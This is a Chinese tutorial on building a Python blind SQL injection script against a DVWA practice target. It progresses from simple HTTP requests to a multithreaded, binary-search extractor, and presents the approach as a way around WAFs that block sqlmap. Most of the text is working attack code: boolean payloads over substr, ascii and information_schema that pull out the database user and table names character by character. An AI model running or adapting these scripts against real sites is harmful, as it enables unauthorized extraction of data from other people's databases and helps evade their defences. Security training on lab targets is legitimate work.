一、 为什么要写脚本,相对其他方案有什么好处?
由于有waf,有注入点的不同,在任何时候,我们都应该优先手工注入,以此探测waf对于ip封禁,payload拦截的规则。
如果手工注入时,有联合注入,报错注入这种有显位的注入,稍微麻烦一点也无不可。但是很多时候,都没有显位,或者因为waf的存在,无法使用联合报错,只能使用盲注,盲注也比联合报错更加灵活,更加易于绕过waf。
手工盲注非常痛苦,所以不可避免的需要用到工具,工具有二,sqlmap和burpsuite。
sqlmap是很好的选择,但sqlmap的特征已被各大waf以各种方式拉黑,虽然可以以一些设置和编写tamper脚本来达到绕waf的目的。但由于payload还是以sqlmap设置好的固定逻辑进行尝试的,而现代waf的规则非常非常模糊,还是很容易触发。如果能够找到一种通用的绕waf方法,即某种手段让waf直接失效,sqlmap还是挺好用的。
用Burpsuite的intruder模块也是一个选择,而且本质上来说和自己写盲注脚本区别不大,但将注入的数据提取出来却比较麻烦。二、 先从请求一个url开始
即使是工具党,基本也很熟悉requests这个库了,因为各种poc利用脚本基本都会用到这个库。先安装一下。pip install requests
如果没做环境变量C:\Python37\Scripts\pip.exe install requests
如果有双python版本python3 -m pip install requests
安装好了之后,新建一个py脚本(注意两点,文件编码最好为UTF-8,否则不支持中文注释,脚本名最好偏一点,否则易和python自带的py脚本冲突)
写上两行代码
import requestsr = requests.get('https://www.baidu.com')
cmd运行python3 test.py
恭喜你,已经学会了。接着将url换成自己的web服务。
import requestsr = requests.get('http://luoke.cn:81/123')
单纯发起一个get请求就是这么简单,由此我们甚至已经可以在这个基础上稍加修改去批量寻找互联网上的注入点。
带参数的,可以这样
import requestsr = requests.get('http://luoke.cn:81/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit')
正式一点也可以这样
import requestsr = requests.get(url='http://luoke.cn:81/dvwa/vulnerabilities/sqli/',params={'id':'1','Submit':'Submit'})
POST就变成data
import requestsr = requests.post(url='http://luoke.cn:81/dvwa/vulnerabilities/sqli/',data={'id':'1','Submit':'Submit'})
加User-Agent和cookie,传递变量
import requestsurl = 'http://luoke.cn:81/dvwa/vulnerabilities/sqli/'data = {'id':'1','Submit':'Submit'}header = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0'}cookie = {'security':'low','PHPSESSID':'cubgpcdg3bi2nu7n77vc6h0c9t'}r = requests.post(url=url,data=data,headers=header,cookies=cookie)
JSON需要用到内置json库
import requestsimport jsonurl = 'http://luoke.cn:81/json.php'data = {'id':1}header = {'Content-Type':'application/json'}cookie = {}r = requests.post(url=url,data=json.dumps(data),headers=header,cookies=cookie)
获取返回包内容,返回状态码
import requestsurl = 'http://luoke.cn:81/dvwa/vulnerabilities/sqli/'data = {'id':'1','Submit':'Submit'}header = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0'}cookie = {'security':'low','PHPSESSID':'cubgpcdg3bi2nu7n77vc6h0c9t'}r = requests.post(url=url,data=data,headers=header,cookies=cookie)print(r.status_code)print(r.text)
更多方法自搜。这儿还有个小问题,dvwa当然是登录状态才能使用,如果非登录状态访问sqli目录会302跳转到登录界面,python实际获取的就变成了login的返回包,返回状态,可以增加allow_redirects=False强制不跳转。
import requestsurl = 'http://luoke.cn:81/dvwa/vulnerabilities/sqli/'data = {'id':'1','Submit':'Submit'}header = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0'}cookie = {}r = requests.post(url=url,data=data,headers=header,cookies=cookie,allow_redirects=False)print(r.status_code)print(r.text)
三、 增加判定和循环请求
布尔盲注都是从返回包里的某个地方不同来判断的,看一眼dvwa的sql注入靶场(注:我稍微修改过,变成数字型注入不需要单引号了)
很显然,用First name来判定就行了。if 'First name' in r.text
但如果我们需要获取First name以及后面可变的admin呢?
可以使用re扩展的一些方法,写一个简单的正则来获取,这种方法适用于从各种文件中提取固定内容的场景。
import requestsimport reheader = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive" }cookie = {"security":"low","PHPSESSID":"8schtfh49iij91muatvd3m8c0p"}payload = ' and 1=1'data = {"id":"1"+payload,"Submit":"Submit"}r = requests.post('http://luoke.cn:81/dvwa/vulnerabilities/sqli/',cookies=cookie,data=data,headers=header,allow_redirects=False)print(r.status_code)text = re.search('First name: [a-z]*',r.text)print(text[0])
再写入盲注语句和空值判定
import requestsimport reheader = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive" }cookie = {"security":"low","PHPSESSID":"8schtfh49iij91muatvd3m8c0p"}payload = ' and substr((select user()),1,1)="r"'data = {"id":"1"+payload,"Submit":"Submit"}r = requests.post('http://luoke.cn:81/dvwa/vulnerabilities/sqli/',cookies=cookie,data=data,headers=header,allow_redirects=False)print(r.status_code)text = re.search('First name: [a-z]*',r.text)if text == None: print('null')else: print(text[0])
这样面对有显位的注入方式,我们已经可以照葫芦画瓢用脚本来打印出注出来的数据了,但盲注必须多次发起请求,这样就必须了解for循环的使用方法。
尝试用for来生成全部url编码,先来一层循环
hex = '0123456789abcdef'for i in hex: print(i)
再来一层循环,加上百分号,注意python由于不使用花括号,所以对缩进比较严格,注意控制空格数量。
hex = '0123456789abcdef'for i in hex: for ii in hex: print('%'+i+ii)
这样就制作了一个url编码字典,显然字典是需要保存成文件方便在各种工具上导入的。那么再加入文件写入函数。
hex = '0123456789abcdef'for i in hex: for ii in hex: iii = "%"+i+ii print(iii) fo = open("url.txt","a") fo.write(iii+'\n')
当然这样io文件多次,对磁盘有影响,稍微变化一下只用写入一次。
hex = '0123456789abcdef'iii = ''for i in hex: for ii in hex: iii = iii+"%"+i+ii+"\n"print(iii)fo = open("url.txt","w")fo.write(iii)
知道了for循环怎么用,就可以带入盲注脚本中,先尝试跑出user()的第一个字符
import requestsurl = 'http://luoke.cn:81/dvwa/vulnerabilities/sqli/'header = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive" }cookie = {"security":"low","PHPSESSID":"8schtfh49iij91muatvd3m8c0p"}dict = 'qwertyuiopasdfghjklzxcvbnm@_,.'for s in dict: payload = ' and substr((select user()),1,1)="'+s+'"' data = {"id":"1"+payload,"Submit":"Submit"} r = requests.post(url,cookies=cookie,data=data,headers=header,allow_redirects=False) if 'First name' in r.text: print(s)
嗯,效果很好。那么再加一层for循环。
import requestsurl = 'http://luoke.cn:81/dvwa/vulnerabilities/sqli/'header = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive" }cookie = {"security":"low","PHPSESSID":"8schtfh49iij91muatvd3m8c0p"}dict = 'qwertyuiopasdfghjklzxcvbnm@_,.'for i in range(1,15): for s in dict: payload = ' and substr((select user()),'+str(i)+',1)="'+s+'"' data = {"id":"1"+payload,"Submit":"Submit"} r = requests.post(url,cookies=cookie,data=data,headers=header,allow_redirects=False) if 'First name' in r.text: print(s)
前面的报错是因为1-15的循环变量i是数字,不能直接和字符串拼接,所以要个str()转化一下。
我们可以弄个变量自增方便查看,顺便优化一下,爆破到正常字符就跳出增加效率
import requestsss = ''url = 'http://luoke.cn:81/dvwa/vulnerabilities/sqli/'header = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive" }cookie = {"security":"low","PHPSESSID":"8schtfh49iij91muatvd3m8c0p"}dict = 'qwertyuiopasdfghjklzxcvbnm@_,.'for i in range(1,15): for s in dict: payload = ' and substr((select user()),'+str(i)+',1)="'+s+'"' data = {"id":"1"+payload,"Submit":"Submit"} r = requests.post(url,cookies=cookie,data=data,headers=header,allow_redirects=False) if 'First name' in r.text: ss = ss+s print(ss) break
完美
四、 循环中断和用二分法增加效率
其实到这一步已经可以完成我们的目的了,但还可以继续优化。
首先我们提前知道uesr()的长度大概是多少,所以在第二层循环中可以设定循环次数,但如果爆表名,列名,内容的时候,可能会很长很长,如果设置range非常大的话,面对短数据又会浪费大量时间。
有两种方案可以解决此问题,一是使用length()来判定user()的长度,然后再设定range,二是当进行一次第一层循环之后,没有返回值则停止循环。
第一种方案显然有个问题,在判定user()长度的时候依旧要考虑user()长度到底是多少的问题,第二种方案则简单一些,当然也可以预见一些问题,比如出现特殊字符数字甚至中文,导致dict不全,停止了循环。
第二种方案我开始用的计数器,当第一层循环,循环了len(dict)次数后,还没有返回值,则终止循环。
import requestsss = ''url = 'http://luoke.cn:81/dvwa/vulnerabilities/sqli/'header = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive" }cookie = {"security":"low","PHPSESSID":"8schtfh49iij91muatvd3m8c0p"}dict = 'qwertyuiopasdfghjklzxcvbnm@_,.'for i in range(1,10000000000000): f = 0 for s in dict: payload = ' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),'+str(i)+',1)="'+s+'"' data = {"id":"1"+payload,"Submit":"Submit"} r = requests.post(url,cookies=cookie,data=data,headers=header,allow_redirects=False) if 'First name' in r.text: ss = ss+s print(ss) break else: f = f+1 if f == len(dict): exit()
后来发现只需要这样就行了
import requestsss = ''url = 'http://luoke.cn:81/dvwa/vulnerabilities/sqli/'header = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive" }cookie = {"security":"low","PHPSESSID":"8schtfh49iij91muatvd3m8c0p"}dict = 'qwertyuiopasdfghjklzxcvbnm@_,.'for i in range(1,10000000000000): f = 0 for s in dict: payload = ' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),'+str(i)+',1)="'+s+'"' data = {"id":"1"+payload,"Submit":"Submit"} r = requests.post(url,cookies=cookie,data=data,headers=header,allow_redirects=False) if 'First name' in r.text: ss = ss+s print(ss) f = 1 break if f == 0: break
这个时候,还应该思考一个问题,因为php魔术引号的存在,很多时候我们都无法直接拿英文字符去爆破,而是用的hex或者ascii。使用ascii码的时候,由于可以比较数字的大小,所以可以用二分法增加效率,同理,前面我们弃用的第二套方案,也可以用二分法来确定length(user())。
首先,我们先写出ascii(substr((select user()),1,1))>109的爆破脚本
import requestsss = ''url = 'http://luoke.cn:81/dvwa/vulnerabilities/sqli/'header = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive" }cookie = {"security":"low","PHPSESSID":"49p2ajfb42snrojgu6sknn3nfu"}def sql(i,s): payload = ' and ascii(substr((select user()),'+str(i)+',1)) > '+str(s)+' ' data = {"id":"1"+payload,"Submit":"Submit"} r = requests.post(url,cookies=cookie,data=data,headers=header,allow_redirects=False) if 'First name' in r.text : return 1 else: return 0for i in range(1,10000000000000): f = 0 for s in range(32,126): text = sql(i,s) if text == 0 and s == 32 : f = 1 break if text == 0 : ss = ss+chr(s) print(ss) break if f == 1: break
然后琢磨一下二分法该如何写,设定上界a,下界b,(a,b)任意一数c,均为整数,判定c>(a+b)/2是否成立,成立(a,b)变为((a+b)/2,b),不成立则变为(a,(a+b)/2),然后再递归下去,一直到a,b区间为1,取c值为a。答案就呼之欲出了。
import requestsimport timess = ''url = 'http://luoke.cn:81/dvwa/vulnerabilities/sqli/'header = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive" }cookie = {"security":"low","PHPSESSID":"49p2ajfb42snrojgu6sknn3nfu"}def sql(i,s): payload = ' and ascii(substr((select user()),'+str(i)+',1)) > '+str(s)+' ' data = {"id":"1"+payload,"Submit":"Submit"} r = requests.post(url,cookies=cookie,data=data,headers=header,allow_redirects=False) if 'First name' in r.text : return 1 else: return 0for i in range(1,10000000000000): text = sql(i,0) if text == 0 : break def search(a,b): global ss c = int((a+b)/2) text = sql(i,c) if (b-a) == 1 : ss = ss+chr(b) print(ss) else: if text == 0 : a = a b = c search(a,b) else: a = c b = b search(a,b) search(33,126)
加个计数器对比一下同样使用33-126(ascii常用字符)的两者爆破效率。
效率高的不是一点半点。五、 多线程的使用
多线程使用threading模块,使用方法为
th = threading.Thread(target=search, args=(33,126,1))th.start()th.join
search为方法,args为传入的参数,start开启线程,join阻塞python脚本不向下执行,直到该线程执行完毕,我们用个for循环开启多个线程就行了。
import requestsimport threadingurl = 'http://luoke.cn:81/dvwa/vulnerabilities/sqli/'header = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive" }cookie = {"security":"low","PHPSESSID":"49p2ajfb42snrojgu6sknn3nfu"}def sql(i,s): payload = ' and ascii(substr((select user()),'+str(i)+',1)) > '+str(s)+' ' data = {"id":"1"+payload,"Submit":"Submit"} r = requests.post(url,cookies=cookie,data=data,headers=header,allow_redirects=False) if 'First name' in r.text : return 1 else: return 0ss = {}def search(a,b,i): global ss c = int((a+b)/2) text = sql(i,c) if (b-a) == 1 : ss[i]=chr(b) else: if text == 0 : a = a b = c search(a,b,i) else: a = c b = b search(a,b,i)name = []for i in range(1,15): th = threading.Thread(target=search, args=(33,126,i)) name.append(th) th.start()for th in name: th.join()sss = ''for i in sorted(ss): sss += ss[i]print(sss)
加个计时器,计算单线程二分法和多线程二分法的速度。
又快了一倍,但是还有优化的地方。第一,多线程是随机爆破字符的,所以必须要知道字符串的长度,第二,线程太多了反而不好,我们必须确定一个可控的线程数。
先实现第一个需求,此时有两种写法。
第一种写法,and length(user())>5,同样可以设定上下界,二分法去查,这种写法简单,效率最高。
第二种写法,select ascii(substr(length((select user())),1,1)),即查询length(user())的第一位的ascii码,也就是1的ascii码,然后二分法去查。这种写法效率低一点,但好处是可以和之前的代码复用。看起来更加简洁。
不过第二种写法需要提前知道user()长度的长度,也就是length(length(user())),我们设定为5就行了。一般实战中不会碰到大于10w位的数据。由于使用二分法抛弃了中断功能,导致length(user())只有2位的话,后面3位会递归到下界,选择一个不存在的下界,替换掉即可。
import requestsimport threadingurl = 'http://luoke.cn:81/dvwa/vulnerabilities/sqli/'header = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive" }cookie = {"security":"low","PHPSESSID":"49p2ajfb42snrojgu6sknn3nfu"}payload = 'select user()'flag = 0def sql(i,s): if flag == 0: data = {"id":"1 and ascii(substr(length(("+payload+")),"+str(i)+",1)) > "+str(s)+"# ","Submit":"Submit"} else: data = {"id":"1 and ascii(substr(("+payload+"),"+str(i)+",1)) > "+str(s)+"# ","Submit":"Submit"} r = requests.post(url,cookies=cookie,data=data,headers=header,allow_redirects=False) if 'First name' in r.text : return 1 else: return 0ss = {}def search(a,b,i): global ss c = int((a+b)/2) text = sql(i,c) if (b-a) == 1 : ss[i]=chr(b) else: if text == 0 : a = a b = c search(a,b,i) else: a = c b = b search(a,b,i)def thread(size): name = [] for i in range(1,size+1): th = threading.Thread(target=search, args=(31,127,i)) name.append(th) th.start() for th in name: th.join()ssl = ''sss = ''size = 5def length(): global ssl global sss global flag global size if flag == 0 : thread(size) for i in sorted(ss): ssl += ss[i] size = int(ssl.replace(chr(32),'')) print('length : '+ssl.replace(chr(32),'')) flag = 1 length() else: thread(size) for i in sorted(ss): sss += ss[i] print(sss)length()
最后加入线程数量功能。
import requestsimport threadingurl = 'http://luoke.cn:81/dvwa/vulnerabilities/sqli/'header = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive" }cookie = {"security":"low","PHPSESSID":"49p2ajfb42snrojgu6sknn3nfu"}payload = 'select user()'flag = 0def sql(i,s): if flag == 0: data = {"id":"1 and ascii(substr(length(("+payload+")),"+str(i)+",1)) > "+str(s)+"# ","Submit":"Submit"} else: data = {"id":"1 and ascii(substr(("+payload+"),"+str(i)+",1)) > "+str(s)+"# ","Submit":"Submit"} r = requests.post(url,cookies=cookie,data=data,headers=header,allow_redirects=False) if 'First name' in r.text : return 1 else: return 0ss = {}def search(a,b,i): global ss c = int((a+b)/2) text = sql(i,c) if (b-a) == 1 : ss[i]=chr(b) else: if text == 0 : a = a b = c search(a,b,i) else: a = c b = b search(a,b,i)def thread(size): name = [] threads = 10 for ii in range(0,int(size/threads)+1): for i in range(ii*threads+1,ii*threads+1+threads): if i > size: break th = threading.Thread(target=search, args=(31,127,i)) name.append(th) th.start() for th in name: th.join()ssl = ''sss = ''size = 5def length(): global ssl global sss global flag global size if flag == 0 : thread(size) for i in sorted(ss): ssl += ss[i] size = int(ssl.replace(chr(32),'')) print('length : '+ssl.replace(chr(32),'')) flag = 1 length() else: thread(size) for i in sorted(ss): sss += ss[i] print(sss)length()
此为10线程和2线程的区别,在本地测试效果并不明显,如果在sql方法中加入sleep(0.1)来模拟延迟,则效果明显很多。